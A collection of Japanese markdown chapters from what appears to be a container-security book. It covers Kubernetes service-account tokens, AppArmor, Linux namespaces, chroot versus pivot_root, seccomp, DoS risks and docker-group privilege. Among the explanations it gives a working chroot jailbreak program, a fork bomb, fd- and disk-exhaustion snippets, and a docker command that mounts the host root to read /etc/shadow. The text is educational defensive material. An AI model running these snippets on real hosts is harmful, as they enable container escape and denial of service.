      "creationTimestamp":null
   },
   "spec":{
      "resourceAttributes":{
         "namespace":"lab",
         "verb":"get",
         "resource":"pods"
      }
   },
   "status":{
   }
}
EOF

{
  "kind": "SelfSubjectAccessReview",
  "apiVersion": "authorization.k8s.io/v1",
  "metadata": {
    "creationTimestamp": null,
    "managedFields": [
      {
        "manager": "curl",
        "operation": "Update",
        "apiVersion": "authorization.k8s.io/v1",
        "time": "2020-11-23T02:39:02Z",
        "fieldsType": "FieldsV1",
        "fieldsV1": {"f:spec":{"f:resourceAttributes":{".":{},"f:namespace":{},"f:resource":{},"f:verb":{}}}}
      }
    ]
  },
  "spec": {
    "resourceAttributes": {
      "namespace": "lab",
      "verb": "get",
      "resource": "pods"
    }
  },
  "status": {
    "allowed": false
  }
}
```

もし次のように Job を作成するできるような権限を持った ServiceAccount のトークンがマウントされている場合は、Job を通して Pod を作成することができます。  

```yaml
---
apiVersion: v1
kind: ServiceAccount
metadata:
  name: runner
  namespace: lab

---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: job-runner
  namespace: lab
rules:
  - apiGroups: ["batch", "extensions"]
    resources: ["jobs", "job/status"]
    verbs: ["*"]
  - apiGroups: [""]
    resources: ["pods", "pods/binding", "pods/log", "pods/status"]
    verbs: ["get", "list"]

---
kind: RoleBinding
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: job-runner
  namespace: lab
subjects:
- kind: ServiceAccount
  name: runner
  namespace: lab
roleRef:
  kind: Role
  name: job-runner
  apiGroup: rbac.authorization.k8s.io
```

```shell
bash-5.0# curl -sSk -H "Authorization: Bearer $KUBE_TOKEN" -H "Content-Type: application/json" -H 'Accept: application/json, */*' -d @- https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_PORT_443_TCP_PORT/apis/batch/v1/namespaces/lab/jobs <<'EOF'
{
   "apiVersion":"batch/v1",
   "kind":"Job",
   "metadata":{
      "name":"sleep-job",
      "namespace":"lab"
   },
   "spec":{
      "backoffLimit":4,
      "template":{
         "spec":{
            "containers":[
               {
                  "command":[
                    "sleep",
                    "100"
                  ],
                  "image":"alpine:latest",
                  "name":"sleep-job"
               }
            ],
            "restartPolicy":"Never"
         }
      }
   }
}
EOF
```

例えばもし、 hostPath のマウントを制限していない場合、これを利用して Pod が配置された node にエスケープすることができます。  

## `automountServiceAccountToken` を利用してトークンをマウントしない

Pod に ServiceAccount のトークンをマウントする必要がない場合は `automountServiceAccountToken: false` を指定します。

```yaml
apiVersion: v1
kind: Pod
metadata:
  name: pod
spec:
  serviceAccount: runner
  automountServiceAccountToken: false
  ...
```

また、 ServiceAccount に対して `automountServiceAccountToken` を指定することもできます。

```yaml
apiVersion: v1
kind: ServiceAccount
metadata:
  name: runner
  namespace: lab
automountServiceAccountToken: false
```

ServiceAccount に対して指定した場合、明示的に `automountServiceAccountToken: true` を指定しなければマウントされません。  

## TokenRequestProjection を利用する

TokenRequestProjection を利用することで ServiceAccount トークンを動的に発行して Pod にマウントすることができます。[^1]  
これにより ServiceAccount のトークンの有効期限を設定しつつ、自動で Pod 内のトークンをリフレッシュすることができます。  
また、Pod を削除するとそのトークンも利用不可となるため、トークンが漏洩した場合に影響を小さくすることができます。

例えば次のようなマニフェストを実行すると、10分でリフレッシュされる ServiceAccount トークンをマウントする Pod を作成することができます。

```yaml
apiVersion: v1
kind: Pod
metadata:
  name: sleep
spec:
  serviceAccount: runner
  containers:
  - name: alpine
    image: alpine:latest
    args:
    - tail
    - -f
    - /dev/null
    volumeMounts:
        - mountPath: /var/run/secrets/tokens
          name: token
  volumes:
  - name: token
    projected:
      sources:
      - serviceAccountToken:
          path: token
          expirationSeconds: 600
          audience: api
```

Pod を実行し、10分経過すると token がリフレッシュされていることが確認できます。

```shell
/run/secrets/tokens # date
Mon Nov 23 08:17:14 UTC 2020
/run/secrets/tokens # cat token
eyJhbGciOiJSUzI1NiIsImtpZCI6IkRqWFZUR3dMZ2tsbXZyUHVGZ01nRHc5d2Q3U3laRjZVRXFHTzQ5eHZaQjAifQ.eyJhdWQiOlsiYXBpIl0sImV4cCI6MTYwNjExOTcxOCwiaWF0IjoxNjA2MTE5MTE4LCJpc3MiOiJrdWJlcm5ldGVzLmRlZmF1bHQuc3ZjIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJsYWIiLCJwb2QiOnsibmFtZSI6InNsZWVwIiwidWlkIjoiZDQ4N2M5ODQtNzMxNC00MWZmLThjZTUtNWUxNGIyZDc0OGFmIn0sInNlcnZpY2VhY2NvdW50Ijp7Im5hbWUiOiJydW5uZXIiLCJ1aWQiOiIyYTNjYjZiZi1lOGE5LTRhNDAtYWFlMC1lODMyMjMwNjI5MzIifX0sIm5iZiI6MTYwNjExOTExOCwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmxhYjpydW5uZXIifQ.Sr6ZkbaoFlX4QcUO53gloBjkT_hqKYg1wh13qS6lAX1INUi7tVEYWCjKw3RvkocNIeFIa7WWzlgD66vdXT2OV63yd2Zxovndyx68_PSqbYlhluASTiOasT24JGqqN7iq2uwp8hrw5YTjyEenLQhAJ1qC1Xzgh5NQYxcLYErk2NQVFKQzbhrHVZvtl0NlW3lyNmp6beCy1_jZqccyOTWK8p_D0HXRGkSHo1ExYRYqtbIg-f6j61-NwWU0duUbI_i-vRFO7KefW4onv2RBRiOun91by_xCziAYXWch6SFYWSIbxaFvk-jb6OixtMgUI8q514AWb2SGoWQ0xBvAQhikhg

/run/secrets/tokens # date
Mon Nov 23 08:29:03 UTC 2020
/run/secrets/tokens # cat token
eyJhbGciOiJSUzI1NiIsImtpZCI6IkRqWFZUR3dMZ2tsbXZyUHVGZ01nRHc5d2Q3U3laRjZVRXFHTzQ5eHZaQjAifQ.eyJhdWQiOlsiYXBpIl0sImV4cCI6MTYwNjEyMDIwNCwiaWF0IjoxNjA2MTE5NjA0LCJpc3MiOiJrdWJlcm5ldGVzLmRlZmF1bHQuc3ZjIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJsYWIiLCJwb2QiOnsibmFtZSI6InNsZWVwIiwidWlkIjoiZDQ4N2M5ODQtNzMxNC00MWZmLThjZTUtNWUxNGIyZDc0OGFmIn0sInNlcnZpY2VhY2NvdW50Ijp7Im5hbWUiOiJydW5uZXIiLCJ1aWQiOiIyYTNjYjZiZi1lOGE5LTRhNDAtYWFlMC1lODMyMjMwNjI5MzIifX0sIm5iZiI6MTYwNjExOTYwNCwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmxhYjpydW5uZXIifQ.SgObuy7ql-kXI-P6uNY6hmUdONSZJfPo7dvxukU7kKFCCIvQcNnWYxzOoo2B_XK4_u7atAGtqWSe9MBG6rJpT73lOjSmGMOeqGVKAe6UTpbnbmS9DO6sVnwCNOCRgs_muwTyF6km66ZxvAm866V5kUIoX407Aa5I-KWZk-8OKT9Db6QKgKBqA9lPKX_Ii-AYBVi_kKB1wR70zxNW_VOapMh9oGXU-ymzGDfJb0Cdo8wJJabpgbIWVlEO7E9417gf6w90U_H5b4mOdGsjWs0JtgVXw3sGBflHUrU0AwYUXI6a8B_HFbS4Q0ChYMZCm5amFQvC6lZL5OsILnaG9JwILg
```

古いトークンは利用できなくなっていることも確認しましょう。

```shell
bash-5.0# KUBE_TOKEN=eyJhbGciOiJSUzI1NiIsImtpZCI6IkRqWFZUR3dMZ2tsbXZyUHVGZ01nRHc5d2Q3U3laRjZVRXFHTzQ5eHZaQjAifQ.eyJhdWQiOlsiYXBpIl0sImV4cCI6MTYwNjExOTcxOCwiaWF0IjoxNjA2MTE5MTE4LCJpc3MiOiJrdWJlcm5ldGVzLmRlZmF1bHQuc3ZjIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJsYWIiLCJwb2QiOnsibmFtZSI6InNsZWVwIiwidWlkIjoiZDQ4N2M5ODQtNzMxNC00MWZmLThjZTUtNWUxNGIyZDc0OGFmIn0sInNlcnZpY2VhY2NvdW50Ijp7Im5hbWUiOiJydW5uZXIiLCJ1aWQiOiIyYTNjYjZiZi1lOGE5LTRhNDAtYWFlMC1lODMyMjMwNjI5MzIifX0sIm5iZiI6MTYwNjExOTExOCwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmxhYjpydW5uZXIifQ.Sr6ZkbaoFlX4QcUO53gloBjkT_hqKYg1wh13qS6lAX1INUi7tVEYWCjKw3RvkocNIeFIa7WWzlgD66vdXT2OV63yd2Zxovndyx68_PSqbYlhluASTiOasT24JGqqN7iq2uwp8hrw5YTjyEenLQhAJ1qC1Xzgh5NQYxcLYErk2NQVFKQzbhrHVZvtl0NlW3lyNmp6beCy1_jZqccyOTWK8p_D0HXRGkSHo1ExYRYqtbIg-f6j61-NwWU0duUbI_i-vRFO7KefW4onv2RBRiOun91by_xCziAYXWch6SFYWSIbxaFvk-jb6OixtMgUI8q514AWb2SGoWQ0xBvAQhikhg

bash-5.0# curl -sSk -H "Authorization: Bearer $KUBE_TOKEN" https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_PORT_443_TCP_PORT/api/v1/namespaces/lab/pods/$HOSTNAME
{
  "kind": "Status",
  "apiVersion": "v1",
  "metadata": {

  },
  "status": "Failure",
  "message": "Unauthorized",
  "reason": "Unauthorized",
  "code": 401
}
```

Pod を削除すると有効だったトークンも利用できなくなっています。

```shell
$ kubectl delete -f test.pod

bash-5.0# curl -sSk -H "Authorization: Bearer $KUBE_TOKEN" https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_PORT_443_TCP_PORT/api/v1/namespaces/lab/pods/$HOSTNAME
{
  "kind": "Status",
  "apiVersion": "v1",
  "metadata": {

  },
  "status": "Failure",
  "message": "Unauthorized",
  "reason": "Unauthorized",
  "code": 401
}
```



---

[^1]: https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#service-account-token-volume-projection


================================================
FILE: source/lsm/apparmor.md
================================================
# AppArmor

AppArmor は Linux Security Module (LSM) の一つで、Mandatory access control (MAC) を実現しています。  
アプリケーションごとにプロファイルを適用することができ、特定のファイルへのアクセスやシステムコールの呼び出しの制限を行うことができます。

例えば次のようなプロファイルを作成し、有効化することで `/home/ubuntu/mybash` は `/etc/hosts` の読み込みだけができ、他のファイルへの読み書きができなくなります。

```sh
$ cat /etc/apparmor.d/test
#include <tunables/global>

profile test /home/ubuntu/mybash {
    #include <abstractions/base>

    /etc/hosts r,
    /usr/bin/cat ix,
}

$ sudo apparmor_parser -r -W /etc/apparmor.d/test

$ ./mybash
mybash-5.0$ cat /etc/passwd
cat: /etc/passwd: Permission denied
mybash-5.0$ cat /etc/hosts
# Your system has configured 'manage_etc_hosts' as True.
...
127.0.0.1 localhost
...

mybash-5.0$ echo test >> /etc/hosts
mybash: /etc/hosts: Permission denied
```

Docker コンテナにも `default-docker` というプロファイル名で適用されており、多層防御の一つとして機能します。[^1]

```sh
$ sudo aa-status | grep docker
   docker-default
```

例えば、 `CAP_SYS_ADMIN` を付与した場合でも `mount` コマンドは AppArmor によって実行が防止されますが、AppArmor を外すことで実行することができ、AppArmor が最後の砦として機能していることが確認できます。

```sh
$ docker container run --rm -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined ubuntu:latest bash
root@85c7ea124688:/# mkdir a; mkdir b; mount --bind a b
mount: /b: bind /a failed.

$ docker container run --rm -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu:latest bash
root@110e911e07bc:/# mkdir a; mkdir b; mount --bind a b
root@110e911e07bc:/#
```

コンテナ上で動くアプリケーションに対応したカスタムプロファイルを作成することで、コンテナをより強固にすることができます。

---

[^1]: https://github.com/moby/moby/blob/master/contrib/apparmor/template.go


================================================
FILE: source/namespace/README.md
================================================
# Namespace

Linux Namespace はホストとの Isolation の要の一つです。  
ここでは Linux Namespace を単に Namespace あるいは名前空間と呼ぶこととします。

Namespace は Linux カーネルの機能で、ホストと Namespace 内のプロセスとでリソースを分離することができます。  
コンテナごとに Namespace を持つことで、ホストや他のコンテナとの分離を実現しています。

Namespace には Linux 5.9 の段階では、次の8つがあります。

| Namespace | 概要 |
|:---------:|:----:|
| Cgroup | Namespace ごとに cgroup を作成する(Linux 4.6 から) |
| IPC | IPC や POSIX message queues などを分離 |
| Network | ネットワークデバイスやアドレスなどを分離 |
| Mount | ファイルシステムを分離 |
| PID | プロセスID を分離する(Linux 3.8 から) |
| Time | システムクロックの一部を分離する(Linux 5.6 から) |
| User | UID / GID を分離する(Linux 3.8 から) |
| UTS | hostname を分離する |

例えばコンテナを作成したときにホスト側のプロセスは確認できませんし、ホスト名もホスト側とは異なります。  
これらは Namespace を使って実現されています。

```
root@3a7669ccdce1:/# hostname
3a7669ccdce1
root@3a7669ccdce1:/# ps aux
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  0.2  0.0   4108  3440 pts/0    Ss   04:04   0:00 bash
root          10  0.0  0.0   5888  2860 pts/0    R+   04:04   0:00 ps aux
```

## Namespace の確認

コンテナ以外でも Namespace は使われています。現在利用されている Namespace とそのプロセスを一覧するには `lsns` コマンドを利用します。

```
ubuntu@docker:~$ sudo lsns
        NS TYPE   NPROCS   PID USER             COMMAND
4026531835 cgroup    143     1 root             /sbin/init
4026531836 pid       143     1 root             /sbin/init
4026531837 user      143     1 root             /sbin/init
4026531838 uts       139     1 root             /sbin/init
4026531839 ipc       143     1 root             /sbin/init
4026531840 mnt       135     1 root             /sbin/init
4026531860 mnt         1    33 root             kdevtmpfs
4026531992 net       143     1 root             /sbin/init
4026532210 mnt         2   412 root             /lib/systemd/systemd-udevd
4026532211 uts         2   412 root             /lib/systemd/systemd-udevd
4026532212 mnt         1   548 systemd-timesync /lib/systemd/systemd-timesyncd
4026532213 uts         1   548 systemd-timesync /lib/systemd/systemd-timesyncd
4026532214 mnt         1   627 systemd-network  /lib/systemd/systemd-networkd
4026532215 mnt         1   630 systemd-resolve  /lib/systemd/systemd-resolved
4026532272 mnt         1   693 root             /usr/sbin/irqbalance --foreground
4026532273 mnt         1   704 root             /lib/systemd/systemd-logind
4026532275 uts         1   704 root             /lib/systemd/systemd-logind
```

`NS` 列に記載されているのが Namespace の ID で、重複していないことがわかります。  
この Namespace の ID は `/proc/$PID/ns` で確認できます。

```
ubuntu@docker:~$ sudo ls -al /proc/1/ns
total 0
dr-x--x--x 2 root root 0 Nov 13 12:47 .
dr-xr-xr-x 9 root root 0 Nov 13 12:47 ..
lrwxrwxrwx 1 root root 0 Nov 13 12:48 cgroup -> 'cgroup:[4026531835]'
lrwxrwxrwx 1 root root 0 Nov 13 12:48 ipc -> 'ipc:[4026531839]'
lrwxrwxrwx 1 root root 0 Nov 13 12:47 mnt -> 'mnt:[4026531840]'
lrwxrwxrwx 1 root root 0 Nov 13 12:48 net -> 'net:[4026531992]'
lrwxrwxrwx 1 root root 0 Nov 13 12:48 pid -> 'pid:[4026531836]'
lrwxrwxrwx 1 root root 0 Nov 13 13:01 pid_for_children -> 'pid:[4026531836]'
lrwxrwxrwx 1 root root 0 Nov 13 12:48 user -> 'user:[4026531837]'
lrwxrwxrwx 1 root root 0 Nov 13 12:48 uts -> 'uts:[4026531838]'
```

Namespace は `unshare(2)` を利用して作成できます。`unshare(1)` を使うことで簡単に利用できるので試してみましょう。  
UTS namespace を作成し、その Namespace 内で bash を実行します。

```
ubuntu@docker:~$ sudo unshare --uts bash
root@docker:/home/ubuntu# hostname test
root@docker:/home/ubuntu# hostname
test
root@docker:/home/ubuntu#
```

`lsns` コマンドを実行すると Namespace `4026532216` で UTS 名前空間が作成されていることが確認できます。

```
ubuntu@docker:~$ sudo lsns | grep bash
4026532216 uts         1  1441 root             bash
```


================================================
FILE: source/namespace/chroot-and-pivot_root.md
================================================
# chroot と pivot_root

Mount Namespace では、名前空間ごとにマウントポイントを利用できることが確認できました。  
しかしコンテナではルートディレクトリ `/` 配下を全て別のファイルシステムにしなければ、ホスト側のファイルを操作できてしまいます。  
これを実現するために `chroot` と `pivot_root` が利用されます。

どちらもルートディレクトリを別のディストリに置き換えることができるシステムコールですが、挙動が全く異なります。

## chroot

`chroot` は現在のプロセスとその子プロセスのルートディレクトリを変更するシステムコールです。  
例えば次のように Alpine Linux の rootfs を用意し、そのディレクトリに chroot することで、ルートディレクトリが置き換えられたように見えます。

```sh
ubuntu@docker:~/$ mkdir alpine
ubuntu@docker:~/$ cd alpine
ubuntu@docker:~/alpine$ wget http://dl-cdn.alpinelinux.org/alpine/v3.12/releases/x86_64/alpine-minirootfs-3.12.1-x86_64.tar.gz
ubuntu@docker:~/alpine$ tar xzf alpine-minirootfs-3.12.1-x86_64.tar.gz
ubuntu@docker:~/alpine$ rm alpine-minirootfs-3.12.1-x86_64.tar.gz
ubuntu@docker:~/alpine$ cd ..

ubuntu@docker:~$ sudo chroot alpine sh
/ # ls
bin    etc    lib    mnt    proc   run    srv    tmp    var
dev    home   media  opt    root   sbin   sys    usr
/ # cat /etc/alpine-release
3.12.1
```

### chroot の問題点

chroot はプロセスが `CAP_SYS_CHROOT` Capability を持っている場合に、脱獄(chroot 環境から元の環境に移動できる)が可能です。  
これは chroot がカレントディレクトリを変更しないことに起因している仕様です。

プロセスのタスク構造体には、ルートディレクトリ情報を持つ `fs->root` とカレントディレクトリ情報を持つ `fs->pwd` があります。  
`chroot /path/to/debian` すると `fs->root` は `/path/to/debian` になります。  
さらにその chroot 環境下で `chroot test` すると `fs->root` は `/path/to/debian/test` になるのですが、 `fs->pwd` は `/path/to/debian` のままとなり、 root が pwd の子になっている構造になってしまいます。  
`cd ..` すると `fs->root` かどうかチェックが走りますが、このケースだと `fs->root` にマッチすることはないため、最終的に本来の root にたどり着き脱獄することができるという仕組みです。

これをコードにすると次のようになります。

```sh
$ cat jailbreak.c
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>

void main()
{
  mkdir("test", 0);
  chroot("test");
  chroot("../../../../../../../../../../");
  execv("/bin/bash");
}

$ gcc jailbreak.c
$ mv a.out debian/
$ sudo chroot debian bash
# ./a.out
/home/ubuntu/debian# cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=20.04
DISTRIB_CODENAME=focal
DISTRIB_DESCRIPTION="Ubuntu 20.04.1 LTS"
```

このように chroot できる権限を持っていると脱獄ができてしまいます。  
そこで脱獄を防ぐために pivot_root というシステムコールがあります。

## pivot_root

chroot はルートディレクトリを変更するものでしたが、pivot_root はプロセスのルートファイルシステムを入れ替えるものです。  
つまり、現在のプロセスのルートファイルシステムを別の場所にマウントし、新しいルートファイルシステムを `/` にマウントすることができます。  
全く別のものにすり替えてしまうものなので、脱獄のしようがありません。また、古いルートファイルシステムを unmount することも可能です。  

ただし、pivot_root をするには次の条件を満たす必要があります。[^1]

* 新しいファイルシステム(new_root)と元のファイルシステム(put_old)は現在のルートファイルシステムと同じマウントポイントにあってはいけない
* put_old は new_root の配下になければならない
* 他のファイルシステムを put_old にマウントできない

上記を満たすために bind mount を利用します。bind mount は指定したディレクトリを別の場所にそのままマウントします。インターフェイスとしては `ln` コマンドに似ていますが、一つのマウントポイントとして機能するため、pivot_root の条件を満たすことができます。

もうひとつ注意点として、pivot_root はマウントポイントを操作してルートディレクトリが変更されてしまうため、Mount Namespace を利用して実行することになります。  
では rootfs を差し替えたコンテナもどきを作ってみます。

```sh
ubuntu@docker:~$ sudo unshare --uts --pid --fork --mount sh -c \
  "mount --bind $NEW_ROOT $NEW_ROOT && \ # bind mount
  mount -t proc proc $NEW_ROOT/proc && \ # procfs をマウント
  pivot_root $NEW_ROOT $NEW_ROOT/.put_old && \ # pivot_root で差し替え
  umount -l /.put_old && \ # 元のルートファイルシステムを umount
  cd / && \
  exec /bin/sh"

/ # ps aux
PID   USER     TIME  COMMAND
    1 root      0:00 /bin/sh
    6 root      0:00 ps aux
/ # ls /etc
alpine-release  hosts           modules-load.d  periodic        shells
apk             init.d          motd            profile         ssl
conf.d          inittab         mtab            profile.d       sysctl.conf
crontabs        issue           network         protocols       sysctl.d
fstab           logrotate.d     opt             securetty       udhcpd.conf
group           modprobe.d      os-release      services
hostname        modules         passwd          shadow
```

---

[^1]: その他の条件など、詳しくは man https://man7.org/linux/man-pages/man2/pivot_root.2.html を参照ください


================================================
FILE: source/namespace/mount.md
================================================
# Mount Namespace

Mount Namespace はマウントポイントを分離することができます。PID namespace では `procfs` を unshare のプロセスにだけ見えるようにマウントしました。  
このように、プロセスごとに独自のマウントポイントを持つことができます。これを利用することで、例えばプロセスごとに異なる `tmpfs` をマウントすることで、他のプロセスから一切その内容を閲覧できないようにすることができます。  

`unshare(1)` では `--mount` フラグを用いることで Mount Namespace を作成できます。

```sh
ubuntu@docker:~$ sudo unshare --mount bash
root@docker:/home/ubuntu# mkdir /mnt/^C
root@docker:/home/ubuntu# mount -t tmpfs tmpfs /mnt
root@docker:/home/ubuntu# findmnt /mnt
TARGET SOURCE FSTYPE OPTIONS
/mnt   tmpfs  tmpfs  rw,relatime
root@docker:/home/ubuntu# touch /mnt/test
root@docker:/home/ubuntu# ls /mnt
test

# ホスト側で実行
ubuntu@docker:~$ findmnt /mnt
ubuntu@docker:~$ ls /mnt/
ubuntu@docker:~$
```

このように、名前空間にいるプロセスからしかマウントポイントが確認できなくなっています。  
これは Systemd の PrivateTmp でも利用されています。


================================================
FILE: source/namespace/pid.md
================================================
# PID Namespace

PID Namespace はプロセスの PID を分離します。コンテナの中で `ps` コマンドを実行すると PID 1 のプロセスが存在していることが確認できます。  
通常 Linux では重複した PID を持つプロセスを生成することはできませんが、Namespace が異なるため同じ PID を持っているかのように見えるプロセスを作ることができます。  

`unshare(1)` では `--pid` フラグを用いることで PID Namespace を作成できます。  

```sh
$ sudo unshare --pid --fork bash
root@docker:/home/ubuntu# ps aux
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  0.0  0.2 167632 11704 ?        Ss   12:47   0:02 /sbin/init
root           2  0.0  0.0      0     0 ?        S    12:47   0:00 [kthreadd]
root           3  0.0  0.0      0     0 ?        I<   12:47   0:00 [rcu_gp]
root           4  0.0  0.0      0     0 ?        I<   12:47   0:00 [rcu_par_gp]
```

`ps` コマンドを実行するとホスト側のプロセスも見えていますが、これは `ps` コマンドが `/proc` を見るからです。  
例えば `kill` コマンドを送信すると「No such process」というエラーが出るため、PID Namespace の分離自体はできていることが確認できます。

```sh
# ホスト側で実行
ubuntu@docker:~$ sleep 100

# Namespace 内で実行
root@docker:/home/ubuntu# ps aux | grep sleep
ubuntu      1545  0.0  0.0   7228   592 pts/1    S+   13:34   0:00 sleep 100
root        1547  0.0  0.0   8160   732 pts/0    S+   13:34   0:00 grep --color=auto sleep
root@docker:/home/ubuntu# kill -9 1545
bash: kill: (1545) - No such process
```

では `ps` コマンドでホスト側のプロセスを見えなくするにはどうすればいいでしょうか。  
PID Namespace で `procfs` を再マウントすればよいのですが、それだとホスト側に影響を与えてしまいます。  
そこで Mount Namespace も分離することでホスト側に影響を与えずに新しくマウントすることができます。  

Mount Namespace については後述するとして、 `unshare(1)` には `--mount-proc` オプションがあるため、これを利用します。  
これにより Mount Namespace を使って `procfs` をマウントしてくれます。

```sh
ubuntu@docker:~$ sudo unshare --pid --fork --mount-proc bash
root@docker:/home/ubuntu# ps aux
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  0.0  0.0   8960  3876 pts/0    S    13:42   0:00 bash
root           8  0.0  0.0  10608  3256 pts/0    R+   13:42   0:00 ps aux
```

冒頭で「同じ PID を持っているかのように見える」と書きましたが、これは Namespace 内から見た話であり、ホスト側から見ると規約通り PID は重複していません。  

```sh
root@docker:/home/ubuntu# sleep 100 &
[1] 10
root@docker:/home/ubuntu# ps aux
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  0.0  0.0   8960  3940 pts/0    S    13:42   0:00 bash
root          10  0.0  0.0   7228   592 pts/0    S    13:44   0:00 sleep 100
root          11  0.0  0.0  10608  3364 pts/0    R+   13:44   0:00 ps aux

# ホスト側で確認
ubuntu@docker:~$ ps aux | grep sleep
root        1656  0.0  0.0   7228   592 pts/0    S    13:44   0:00 sleep 100
ubuntu      1659  0.0  0.0   8160   736 pts/1    S+   13:44   0:00 grep --color=auto sleep
```


================================================
FILE: source/namespace/user.md
================================================
# User Namespace

User Namespace は UID / GID を分離し、 Namespace 内で独立した UID / GID を持てるようになります。  
また、Namespace 内の UID / GID がそれぞれホスト側の UID / GID と mapping されるようになります。

例えば Namespace 内では UID 0 (root) であっても、ホスト側から見ると UID 1000 のユーザーであるようにできます。  
これにより仮にコンテナからホスト側にエスケープできても、権限は UID 1000 の一般ユーザーであるため、影響を小さくすることができます。

`unshare(1)` では `--user` フラグを用いることで User Namespace を作成できます。  

```sh
ubuntu@docker:~$ unshare --user bash
nobody@docker:~$ id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
nobody@docker:~$ echo $$
2275
```

現在、名前空間内では `nobody` ユーザーになっています。  
試しにホスト側の UID 1000 のユーザーと Namespace 内の UID 0 (root) のユーザーを紐付けてみます。
紐付けは対象のプロセスが持つ `uid_map` に値を書き込むことで機能します。

```sh
# ホスト側で操作
root@docker:/home/ubuntu# echo '0 1000 1' > /proc/2275/uid_map
```

名前空間内で確認すると UID 0 (root) になっていることが確認できます。

```sh
nobody@docker:~$ id
uid=0(root) gid=65534(nogroup) groups=65534(nogroup)
```

ファイルを作成すると名前空間内では root 所有に見えますが、実際には UID 1000 である `ubuntu` ユーザーの所有になっていることが確認できます。

```sh
nobody@docker:~$ touch test.txt
nobody@docker:~$ ls -al test.txt
-rw-rw-r-- 1 root nogroup 0 Nov 13 14:10 test.txt

# ホスト側で操作
ubuntu@docker:~$ ls -al test.txt
-rw-rw-r-- 1 ubuntu ubuntu 0 Nov 13 14:10 test.txt
```


================================================
FILE: source/namespace/uts.md
================================================
# UTS Namespace

UTS Namespace はホスト名の分離に利用されます。  
`uname(2)` や `gethostname(2)` を使用したときに Namespace 内で設定された値を取得することができます。  

`unshare(1)` の引数に `--uts` フラグを用いることで UTS Namespace を作成できます。  
`hostname(1)` で別のホスト名に変更してもホスト側には影響がないことが確認できます。

```sh
ubuntu@docker:~$ sudo unshare --uts bash
root@docker:/home/ubuntu# hostname test
root@docker:/home/ubuntu# hostname
test

# ホスト側
ubuntu@docker:~$ hostname
docker
```



================================================
FILE: source/seccomp/README.md
================================================
# seccomp

seccomp はシステムコールとその引数を制限する仕組みです。  
例えば Docker では次のような seccomp プロファイルを与えることで `mkdir` を禁止するコンテナを作成できます。

```sh
$ cat seccomp.json
{
  "defaultAction": "SCMP_ACT_ALLOW",
  "syscalls": [
    {
      "name": "mkdir",
      "action": "SCMP_ACT_ERRNO"
    }
  ]
}

$ docker run --rm -it --security-opt seccomp=seccomp.json ubuntu:20.04 bash
root@ab9ad7d57f7f:/# mkdir /tmp/test
mkdir: cannot create directory '/tmp/test': Operation not permitted
```

Capability と同様に seccomp も Docker にはデフォルトプロファイルが存在します。[^1]  
Capability と併用することで、もし Capability を破られて特権が必要なシステムコールが呼び出されても seccomp で防ぐことができます。

---

[^1] https://docs.docker.com/engine/security/seccomp/ "Significant syscalls blocked by the default profile / docker docs"


================================================
FILE: source/security/DoS.md
================================================
# DoS

コンテナはホストとリソースを共有しているため、リソースの制限を適切に施していない場合、ホストに対する DoS となる可能性があります。

## Fork Bomb

cgroup などでプロセス数を制限していない場合、コンテナで大量にプロセスを生成することでシステムをダウンさせることができます。

```sh
:(){ :|:& };:
```

## 大量のファイルディスクリプタを生成する

開けるファイルディスクリプタ数には上限があるため、コンテナ内で大量にファイルディスクリプタを開くことでホスト側に影響を与えることができます。

```c
#include <stdio.h>
#include<string.h>
#include<unistd.h>
#include<sys/types.h>
#include<sys/stat.h>
#include<fcntl.h>

int main()
{
  char buf[100];
  for(int i=0; i=400275; i++) {
    sprintf(buf, "/tmp/%d", i);
    int fd = open(buf, O_CREAT);
    if ( fd == 1 ) {
      printf("max fd %d\n", i);
      break;
    }
    printf("open %d\n", i);
  }
  for(;;);
}
```

## ディスク容量の圧迫

コンテナにディスク容量制限がない場合は大きなファイルを作成することで、ホストのディスク容量を圧迫させることができます。

```sh
$ dd if=/dev/zero of=bigfile bs=20GB count=10
```


================================================
FILE: source/security/README.md
================================================
# コンテナのセキュリティと攻撃例

本章では[コンテナの基礎技術](../container-basics.md)で紹介した各保護レイヤに不備があった場合に生じる脆弱性や Docker のセキュリティについて紹介します。

コンテナへの攻撃経路として「ランタイムの脆弱性を利用するもの」「カーネルの脆弱性を利用するもの」「コンテナの設定不備を利用するもの」などが考えられます。  
また、コンテナ自体は開発環境や CI 環境でも利用されるケースが増え、不正な Docker イメージによって、それらの環境が侵害されるケースも考えられます。

![Docker Atatck Vector](./img/docker-attack-vector.png)

コンテナに対して Capability を付与したり、特権(Privileged)コンテナを実行したりした経験がある方もいるかもしれません。そのようなコンテナが侵害された場合、ホスト側にエスケープ(Breakout)できてしまう可能性があります。ここでは、そのようなコンテナに対する攻撃例について取り上げ、セキュアなコンテナ運用のヒントを紹介します。


================================================
FILE: source/security/adding-a-user-to-group.md
================================================
# コンテナ実行権限を持つグループへのユーザー追加

`docker` グループや `lxd` グループへのユーザー追加を行うことは、そのユーザーに root 権限を追加することと同義です。  
例えば docker の場合は次のようにホストのルートディレクトリをマウントすることで、ホスト側で任意の操作を行うことが可能になります。

```sh
ubuntu@sandbox:~$ cat /etc/shadow
cat: /etc/shadow: Permission denied
ubuntu@sandbox:~$ docker run --rm -it -v /:/hostfs ubuntu:latest bash
